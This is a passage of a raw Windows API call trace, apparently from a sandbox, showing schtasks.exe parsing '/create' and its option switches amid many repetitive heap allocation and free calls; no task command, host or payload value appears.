_Format="|%s|", _ArgList=0xff698 | out: _Buffer="|showsid|") returned 9 [0137.925] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|f|") returned 3 [0137.925] lstrlenW (lpString="|showsid|") returned 9 [0137.925] lstrlenW (lpString="|f|") returned 3 [0137.925] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0137.925] SetLastError (dwErrCode=0x490) [0137.925] SetLastError (dwErrCode=0x490) [0137.925] SetLastError (dwErrCode=0x0) [0137.925] lstrlenW (lpString="/f") returned 2 [0137.925] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0137.925] SetLastError (dwErrCode=0x490) [0137.925] SetLastError (dwErrCode=0x0) [0137.925] lstrlenW (lpString="/f") returned 2 [0137.925] GetProcessHeap () returned 0x240000 [0137.925] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x6) returned 0x25de10 [0137.925] GetProcessHeap () returned 0x240000 [0137.925] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cd90 [0137.926] SetLastError (dwErrCode=0x0) [0137.926] GetProcessHeap () returned 0x240000 [0137.926] GetProcessHeap () returned 0x240000 [0137.926] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c200) returned 1 [0137.926] GetProcessHeap () returned 0x240000 [0137.926] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c200) returned 0x8 [0137.926] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c200 | out: hHeap=0x240000) returned 1 [0137.926] GetProcessHeap () returned 0x240000 [0137.926] GetProcessHeap () returned 0x240000 [0137.926] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cc10) returned 1 [0137.926] GetProcessHeap () returned 0x240000 [0137.926] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cc10) returned 0x20 [0137.927] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cc10 | out: hHeap=0x240000) returned 1 [0137.927] GetProcessHeap () returned 0x240000 [0137.927] GetProcessHeap () returned 0x240000 [0137.927] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c290) returned 1 [0137.927] GetProcessHeap () returned 0x240000 [0137.927] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c290) returned 0x12 [0137.927] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c290 | out: hHeap=0x240000) returned 1 [0137.927] GetProcessHeap () returned 0x240000 [0137.927] GetProcessHeap () returned 0x240000 [0137.927] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cc40) returned 1 [0137.927] GetProcessHeap () returned 0x240000 [0137.927] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cc40) returned 0x20 [0137.927] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cc40 | out: hHeap=0x240000) returned 1 [0137.928] GetProcessHeap () returned 0x240000 [0137.928] GetProcessHeap () returned 0x240000 [0137.928] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c2b0) returned 1 [0137.928] GetProcessHeap () returned 0x240000 [0137.928] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c2b0) returned 0x8 [0137.928] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c2b0 | out: hHeap=0x240000) returned 1 [0137.928] GetProcessHeap () returned 0x240000 [0137.928] GetProcessHeap () returned 0x240000 [0137.928] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cc70) returned 1 [0137.928] GetProcessHeap () returned 0x240000 [0137.928] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cc70) returned 0x20 [0137.928] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cc70 | out: hHeap=0x240000) returned 1 [0137.928] GetProcessHeap () returned 0x240000 [0137.928] GetProcessHeap () returned 0x240000 [0137.928] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c2d0) returned 1 [0137.928] GetProcessHeap () returned 0x240000 [0137.928] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c2d0) returned 0x10 [0137.929] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c2d0 | out: hHeap=0x240000) returned 1 [0137.929] GetProcessHeap () returned 0x240000 [0137.929] GetProcessHeap () returned 0x240000 [0137.929] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cca0) returned 1 [0137.929] GetProcessHeap () returned 0x240000 [0137.929] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cca0) returned 0x20 [0137.929] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cca0 | out: hHeap=0x240000) returned 1 [0137.929] GetProcessHeap () returned 0x240000 [0137.929] GetProcessHeap () returned 0x240000 [0137.929] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c2f0) returned 1 [0137.929] GetProcessHeap () returned 0x240000 [0137.929] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c2f0) returned 0x8 [0137.929] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c2f0 | out: hHeap=0x240000) returned 1 [0137.929] GetProcessHeap () returned 0x240000 [0137.929] GetProcessHeap () returned 0x240000 [0137.929] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ccd0) returned 1 [0137.930] GetProcessHeap () returned 0x240000 [0137.930] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ccd0) returned 0x20 [0137.930] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ccd0 | out: hHeap=0x240000) returned 1 [0137.930] GetProcessHeap () returned 0x240000 [0137.930] GetProcessHeap () returned 0x240000 [0137.930] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dd60) returned 1 [0137.930] GetProcessHeap () returned 0x240000 [0137.930] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dd60) returned 0x80 [0137.930] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dd60 | out: hHeap=0x240000) returned 1 [0137.930] GetProcessHeap () returned 0x240000 [0137.931] GetProcessHeap () returned 0x240000 [0137.931] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd00) returned 1 [0137.931] GetProcessHeap () returned 0x240000 [0137.931] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cd00) returned 0x20 [0137.931] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd00 | out: hHeap=0x240000) returned 1 [0137.931] GetProcessHeap () returned 0x240000 [0137.931] GetProcessHeap () returned 0x240000 [0137.931] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ddf0) returned 1 [0137.931] GetProcessHeap () returned 0x240000 [0137.931] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ddf0) returned 0x8 [0137.931] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ddf0 | out: hHeap=0x240000) returned 1 [0137.931] GetProcessHeap () returned 0x240000 [0137.931] GetProcessHeap () returned 0x240000 [0137.931] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd30) returned 1 [0137.931] GetProcessHeap () returned 0x240000 [0137.932] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cd30) returned 0x20 [0137.932] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd30 | out: hHeap=0x240000) returned 1 [0137.932] GetProcessHeap () returned 0x240000 [0137.932] GetProcessHeap () returned 0x240000 [0137.932] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d520) returned 1 [0137.932] GetProcessHeap () returned 0x240000 [0137.932] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d520) returned 0x10 [0137.932] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d520 | out: hHeap=0x240000) returned 1 [0137.932] GetProcessHeap () returned 0x240000 [0137.932] GetProcessHeap () returned 0x240000 [0137.932] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd60) returned 1 [0137.932] GetProcessHeap () returned 0x240000 [0137.932] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cd60) returned 0x20 [0137.933] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd60 | out: hHeap=0x240000) returned 1 [0137.933] GetProcessHeap () returned 0x240000 [0137.933] GetProcessHeap () returned 0x240000 [0137.933] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25de10) returned 1 [0137.933] GetProcessHeap () returned 0x240000 [0137.933] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25de10) returned 0x6 [0137.933] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25de10 | out: hHeap=0x240000) returned 1 [0137.933] GetProcessHeap () returned 0x240000 [0137.933] GetProcessHeap () returned 0x240000 [0137.933] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd90) returned 1 [0137.933] GetProcessHeap () returned 0x240000 [0137.933] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cd90) returned 0x20 [0137.933] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd90 | out: hHeap=0x240000) returned 1 [0137.933] GetProcessHeap () returned 0x240000 [0137.934] GetProcessHeap () returned 0x240000 [0137.934] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25b9d0) returned 1 [0137.934] GetProcessHeap () returned 0x240000 [0137.934] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25b9d0) returned 0x18 [0137.934] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25b9d0 | out: hHeap=0x240000) returned 1 [0137.934] SetLastError (dwErrCode=0x0) [0137.934] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0137.934] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0137.934] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0137.934] VerifyVersionInfoW (in: lpVersionInformation=0xfc6f0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xfc6f0) returned 1 [0137.934] SetLastError (dwErrCode=0x0) [0137.934] lstrlenW (lpString="create") returned 6 [0137.934] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0137.934] SetLastError (dwErrCode=0x490) [0137.934] SetLastError (dwErrCode=0x0) [0137.934] lstrlenW (lpString="create") returned 6 [0137.934] GetProcessHeap () returned 0x240000 [0137.934] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cd90 [0137.934] GetProcessHeap () returned 0x240000 [0137.935] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25d520 [0137.935] _memicmp (_Buf1=0x25d520, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.935] GetProcessHeap () returned 0x240000 [0137.935] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x16) returned 0x25d540 [0137.935] SetLastError (dwErrCode=0x0) [0137.935] _memicmp (_Buf1=0x25ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.935] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x25bc30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0137.935] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0137.935] GetProcessHeap () returned 0x240000 [0137.935] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x74e) returned 0x25dd60 [0137.936] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x25dd60 | out: lpData=0x25dd60) returned 1 [0137.936] VerQueryValueW (in: pBlock=0x25dd60, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xfc7d8, puLen=0xfc840 | out: lplpBuffer=0xfc7d8*=0x25e0fc, puLen=0xfc840) returned 1 [0137.936] _memicmp (_Buf1=0x25ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.936] _vsnwprintf (in: _Buffer=0x25bc30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xfc7b8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0137.936] VerQueryValueW (in: pBlock=0x25dd60, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xfc848, puLen=0xfc838 | out: lplpBuffer=0xfc848*=0x25df28, puLen=0xfc838) returned 1 [0137.936] lstrlenW (lpString="schtasks.exe") returned 12 [0137.936] lstrlenW (lpString="schtasks.exe") returned 12 [0137.936] lstrlenW (lpString=".EXE") returned 4 [0137.936] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0137.936] lstrlenW (lpString="schtasks.exe") returned 12 [0137.936] lstrlenW (lpString=".EXE") returned 4 [0137.936] lstrlenW (lpString="schtasks") returned 8 [0137.936] lstrlenW (lpString="/create") returned 7 [0137.936] _memicmp (_Buf1=0x25ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.936] _vsnwprintf (in: _Buffer=0x25bc30, _BufferCount=0x19, _Format="%s %s", _ArgList=0xfc7b8 | out: _Buffer="schtasks /create") returned 16 [0137.936] _memicmp (_Buf1=0x25bab0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.936] GetProcessHeap () returned 0x240000 [0137.936] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cd60 [0137.937] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.937] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0137.937] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0137.937] GetProcessHeap () returned 0x240000 [0137.937] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x30) returned 0x257ac0 [0137.937] _vsnwprintf (in: _Buffer=0x25c030, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xfc7b8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0137.937] GetProcessHeap () returned 0x240000 [0137.937] GetProcessHeap () returned 0x240000 [0137.937] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dd60) returned 1 [0137.937] GetProcessHeap () returned 0x240000 [0137.937] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dd60) returned 0x74e [0137.937] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dd60 | out: hHeap=0x240000) returned 1 [0137.937] SetLastError (dwErrCode=0x0) [0137.937] GetThreadLocale () returned 0x409 [0137.937] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.938] lstrlenW (lpString="create") returned 6 [0137.938] GetThreadLocale () returned 0x409 [0137.938] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.938] lstrlenW (lpString="?") returned 1 [0137.938] GetThreadLocale () returned 0x409 [0137.938] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.938] lstrlenW (lpString="s") returned 1 [0137.938] GetThreadLocale () returned 0x409 [0137.938] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.938] lstrlenW (lpString="u") returned 1 [0137.938] GetThreadLocale () returned 0x409 [0137.938] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.938] lstrlenW (lpString="p") returned 1 [0137.938] GetThreadLocale () returned 0x409 [0137.938] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.938] lstrlenW (lpString="ru") returned 2 [0137.938] GetThreadLocale () returned 0x409 [0137.938] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.938] lstrlenW (lpString="rp") returned 2 [0137.938] GetThreadLocale () returned 0x409 [0137.938] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.938] lstrlenW (lpString="sc") returned 2 [0137.938] GetThreadLocale () returned 0x409 [0137.938] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.938] lstrlenW (lpString="mo") returned 2 [0137.938] GetThreadLocale () returned 0x409 [0137.938] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.938] lstrlenW (lpString="d") returned 1 [0137.938] GetThreadLocale () returned 0x409 [0137.938] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.939] lstrlenW (lpString="m") returned 1 [0137.939] GetThreadLocale () returned 0x409 [0137.939] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.939] lstrlenW (lpString="i") returned 1 [0137.939] GetThreadLocale () returned 0x409 [0137.939] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.939] lstrlenW (lpString="tn") returned 2 [0137.939] GetThreadLocale () returned 0x409 [0137.939] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.939] lstrlenW (lpString="tr") returned 2 [0137.939] GetThreadLocale () returned 0x409 [0137.939] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.939] lstrlenW (lpString="st") returned 2 [0137.939] GetThreadLocale () returned 0x409 [0137.939] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.939] lstrlenW (lpString="sd") returned 2 [0137.939] GetThreadLocale () returned 0x409 [0137.939] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.939] lstrlenW (lpString="ed") returned 2 [0137.939] GetThreadLocale () returned 0x409 [0137.939] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.939] lstrlenW (lpString="it") returned 2 [0137.939] GetThreadLocale () returned 0x409 [0137.939] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.939] lstrlenW (lpString="et") returned 2 [0137.939] GetThreadLocale () returned 0x409 [0137.939] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.939] lstrlenW (lpString="k") returned 1 [0137.939] GetThreadLocale () returned 0x409 [0137.940] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.940] lstrlenW (lpString="du") returned 2 [0137.940] GetThreadLocale () returned 0x409 [0137.940] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.940] lstrlenW (lpString="ri") returned 2 [0137.940] GetThreadLocale () returned 0x409 [0137.940] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.940] lstrlenW (lpString="z") returned 1 [0137.940] GetThreadLocale () returned 0x409 [0137.940] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.940] lstrlenW (lpString="f") returned 1 [0137.940] GetThreadLocale () returned 0x409 [0137.940] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.940] lstrlenW (lpString="v1") returned 2 [0137.940] GetThreadLocale () returned 0x409 [0137.940] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.940] lstrlenW (lpString="xml") returned 3 [0137.940] GetThreadLocale () returned 0x409 [0137.940] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.940] lstrlenW (lpString="ec") returned 2 [0137.940] GetThreadLocale () returned 0x409 [0137.940] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.940] lstrlenW (lpString="rl") returned 2 [0137.940] GetThreadLocale () returned 0x409 [0137.940] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.940] lstrlenW (lpString="delay") returned 5 [0137.940] GetThreadLocale () returned 0x409 [0137.941] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.941] lstrlenW (lpString="np") returned 2 [0137.941] SetLastError (dwErrCode=0x0) [0137.941] SetLastError (dwErrCode=0x0) [0137.941] lstrlenW (lpString="/create") returned 7 [0137.941] lstrlenW (lpString="-/") returned 2 [0137.941] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.941] lstrlenW (lpString="create") returned 6 [0137.941] lstrlenW (lpString="create") returned 6 [0137.941] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.941] lstrlenW (lpString="create") returned 6 [0137.941] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.941] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|create|") returned 8 [0137.941] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|create|") returned 8 [0137.941] lstrlenW (lpString="|create|") returned 8 [0137.941] lstrlenW (lpString="|create|") returned 8 [0137.941] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0137.941] SetLastError (dwErrCode=0x0) [0137.941] SetLastError (dwErrCode=0x0) [0137.941] SetLastError (dwErrCode=0x0) [0137.941] lstrlenW (lpString="/tn") returned 3 [0137.941] lstrlenW (lpString="-/") returned 2 [0137.941] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.941] lstrlenW (lpString="create") returned 6 [0137.941] lstrlenW (lpString="create") returned 6 [0137.941] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.941] lstrlenW (lpString="tn") returned 2 [0137.941] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.942] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|create|") returned 8 [0137.942] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tn|") returned 4 [0137.942] lstrlenW (lpString="|create|") returned 8 [0137.942] lstrlenW (lpString="|tn|") returned 4 [0137.942] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0137.942] SetLastError (dwErrCode=0x490) [0137.942] lstrlenW (lpString="?") returned 1 [0137.942] lstrlenW (lpString="?") returned 1 [0137.942] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.942] lstrlenW (lpString="tn") returned 2 [0137.942] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.942] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|?|") returned 3 [0137.942] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tn|") returned 4 [0137.942] lstrlenW (lpString="|?|") returned 3 [0137.942] lstrlenW (lpString="|tn|") returned 4 [0137.942] SetLastError (dwErrCode=0x490) [0137.942] lstrlenW (lpString="s") returned 1 [0137.942] lstrlenW (lpString="s") returned 1 [0137.942] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.942] lstrlenW (lpString="tn") returned 2 [0137.942] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.942] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|s|") returned 3 [0137.942] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tn|") returned 4 [0137.942] lstrlenW (lpString="|s|") returned 3 [0137.942] lstrlenW (lpString="|tn|") returned 4 [0137.942] SetLastError (dwErrCode=0x490) [0137.942] lstrlenW (lpString="u") returned 1 [0137.943] lstrlenW (lpString="u") returned 1 [0137.943] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.943] lstrlenW (lpString="tn") returned 2 [0137.943] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.943] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|u|") returned 3 [0137.943] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tn|") returned 4 [0137.943] lstrlenW (lpString="|u|") returned 3 [0137.943] lstrlenW (lpString="|tn|") returned 4 [0137.943] SetLastError (dwErrCode=0x490) [0137.943] lstrlenW (lpString="p") returned 1 [0137.943] lstrlenW (lpString="p") returned 1 [0137.943] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.943] lstrlenW (lpString="tn") returned 2 [0137.943] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.943] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|p|") returned 3 [0137.943] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tn|") returned 4 [0137.943] lstrlenW (lpString="|p|") returned 3 [0137.943] lstrlenW (lpString="|tn|") returned 4 [0137.943] SetLastError (dwErrCode=0x490) [0137.943] lstrlenW (lpString="ru") returned 2 [0137.943] lstrlenW (lpString="ru") returned 2 [0137.943] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.943] lstrlenW (lpString="tn") returned 2 [0137.943] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.943] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|ru|") returned 4 [0137.943] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tn|") returned 4 [0137.944] lstrlenW (lpString="|ru|") returned 4 [0137.944] lstrlenW (lpString="|tn|") returned 4 [0137.944] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0137.944] SetLastError (dwErrCode=0x490) 